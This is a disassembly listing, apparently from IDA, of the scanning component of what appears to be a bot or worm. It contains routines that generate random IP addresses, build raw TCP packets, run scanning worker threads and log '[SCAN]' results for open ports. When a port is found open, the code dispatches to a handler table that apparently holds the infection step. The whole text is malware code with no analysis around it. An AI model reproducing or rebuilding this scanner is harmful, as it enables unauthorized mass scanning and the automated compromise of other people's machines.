		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:4453FAh[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BEA
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402284
		mov	al, 1
		jmp	loc_422F3B
sub_422B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_448F30
		mov	ecx, offset dword_449958
		setnz	bl
		call	sub_4014DD
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D8075
		call	sub_401857
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_445420[eax*4]
		inc	ecx
		mov	dword_445420[eax*4], ecx
		mov	al, 1
		retn
sub_4236F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401E10j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50FAA8
		nop
		call	sub_5F76F7
		mov	eax, offset dword_50FAA8
		add	esp, 2Ch
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423820	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50DB50[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50DB50[esi*8], eax
		pop	esi
		retn
sub_423820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423860	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423892
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423892:				; CODE XREF: sub_423860+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_511AC8
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4238CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4238CA:				; CODE XREF: sub_423860+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4238D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4238D6:				; CODE XREF: sub_423860+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4238E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4238E2:				; CODE XREF: sub_423860+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4238EC
		call	esi	; rand


loc_4238EC:				; CODE XREF: sub_423860+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50DB50[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423860	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423950	proc near		; CODE XREF: sub_401E56j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42397E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42397E:				; CODE XREF: sub_423950+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423950	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, dword_511C38
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A37
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C68
; ---------------------------------------------------------------------------


loc_423B69:				; CODE XREF: ___:00423B5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		call	near ptr 71AB2C69h
		nop
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423BC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_5F76F7
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BC2:				; CODE XREF: ___:00423B87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423C13
		mov	edi, dword_511C64


loc_423BEA:				; CODE XREF: ___:00423C11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423C42
		cmp	[esp+0FEh], bp
		jnz	short loc_423BEA


loc_423C13:				; CODE XREF: ___:00423BE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C42:				; CODE XREF: ___:00423C07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: ___:00423C23j
		push	offset dword_4456DC


loc_423C68:				; CODE XREF: ___:00423B64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423D10:				; CODE XREF: ___:loc_401F41j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		call	near ptr 27F0C4Bh
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:44AF8Bh[eax*4]
		mov	eax, dword_44B18F[eax*4]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jz	loc_423FBE
		mov	ebx, off_511C00


loc_423D8C:				; CODE XREF: ___:00423FB4j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423DA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423DAF
; ---------------------------------------------------------------------------


loc_423DA7:				; CODE XREF: ___:00423D96j
		call	sub_401F55
		add	esp, 4


loc_423DAF:				; CODE XREF: ___:00423DA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_511C88
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5F76F7
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx ; sub_5F76F7
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F9A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423EBF
		push	offset dword_50FA90
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5F76F7
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E9F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E7A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E97
; ---------------------------------------------------------------------------


loc_423E7A:				; CODE XREF: ___:00423E56j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E97:				; CODE XREF: ___:00423E78j
		call	sub_40152D
		add	esp, 10h


loc_423E9F:				; CODE XREF: ___:00423E4Bj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50FA90
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423F9A
; ---------------------------------------------------------------------------


loc_423EBF:				; CODE XREF: ___:00423E13j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5F76F7
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:4453F0h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5F76F7
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423F0C
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423F19
; ---------------------------------------------------------------------------


loc_423F0C:				; CODE XREF: ___:00423EF8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423F19:				; CODE XREF: ___:00423F0Aj
		call	ebx ; sub_5F76F7
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44541C[edx*4]
		add	esp, 0BCh


loc_423F9A:				; CODE XREF: ___:00423E05j
					; ___:00423EBAj
		push	7D0h
		nop
		call	near ptr 2850369h
		mov	eax, [ebp+204h]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jnz	loc_423D8C
		mov	esi, [esp+10h]


loc_423FBE:				; CODE XREF: ___:00423D80j
		push	esi
		call	sub_401E3D
		add	esp, 4
		push	0
		nop
		call	near ptr 2850505h
		nop
; ---------------------------------------------------------------------------
		db 7Dh dup(0CCh)
byte_42404D	db 33h dup(0CCh)	; DATA XREF: sub_58F5B5+5FC1o
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_402284j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50DB50[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40148D
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424101
		push	offset dword_50FA90
		call	near ptr 27906F2h
		nop
		push	offset dword_50FA90
		call	near ptr 2790E47h
		nop


loc_424101:				; CODE XREF: ___:004240E9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_5118D8
		mov	esi, ebx
		mov	dword_50DB54[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_511C00
		jb	loc_424230
		mov	edi, dword_51186C


loc_424132:				; CODE XREF: ___:0042422Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5F76F7
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BEA
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F41
		push	0
		push	0
		mov	dword_44B18F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44B19F[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44B19F[eax*4]
		test	ecx, ecx
		jz	short loc_4241F8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42421E


loc_4241E7:				; CODE XREF: ___:004241F4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4241E7
		jmp	short loc_42421E
; ---------------------------------------------------------------------------


loc_4241F8:				; CODE XREF: ___:004241DAj
		nop
		call	near ptr 27D0990h
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5F76F7
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42421E:				; CODE XREF: ___:004241E5j
					; ___:004241F6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424132


loc_424230:				; CODE XREF: ___:00424126j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42425E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424291
; ---------------------------------------------------------------------------


loc_42425E:				; CODE XREF: ___:00424239j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50DB54[ecx*8], esi
		jnz	short loc_424291


loc_424273:				; CODE XREF: ___:00424288j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50DB54[edx*8], esi
		jz	short loc_424273
		mov	eax, [esp+12Ch]


loc_424291:				; CODE XREF: ___:0042425Cj
					; ___:00424271j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50DB50[ecx*8]
		push	ecx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5F76F7
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242F2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_40152D
		add	esp, 10h


loc_4242F2:				; CODE XREF: ___:004242CBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50DB54[eax*8], 0
		call	ebp
		push	3
		call	sub_40148D
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424334
		push	offset dword_50FA90
		nop
		call	near ptr 27906F2h


loc_424334:				; CODE XREF: ___:00424327j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E3D
		add	esp, 4
		push	0
		nop
		call	near ptr 2850505h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424410	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424430:				; CODE XREF: ___:004015EBj
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401843
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424480	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4244D2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: sub_424480+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4021F8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424574
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424500	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245A0	proc near		; CODE XREF: sub_4016C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4245B3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4245B3:				; CODE XREF: sub_4245A0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245E0	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245F7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245F7:				; CODE XREF: sub_4245E0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		nop
		call	near ptr 77C2C407h
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424625
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424625:				; CODE XREF: sub_4245E0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424654
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42466F
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_4245E0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42466F:				; CODE XREF: sub_4245E0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
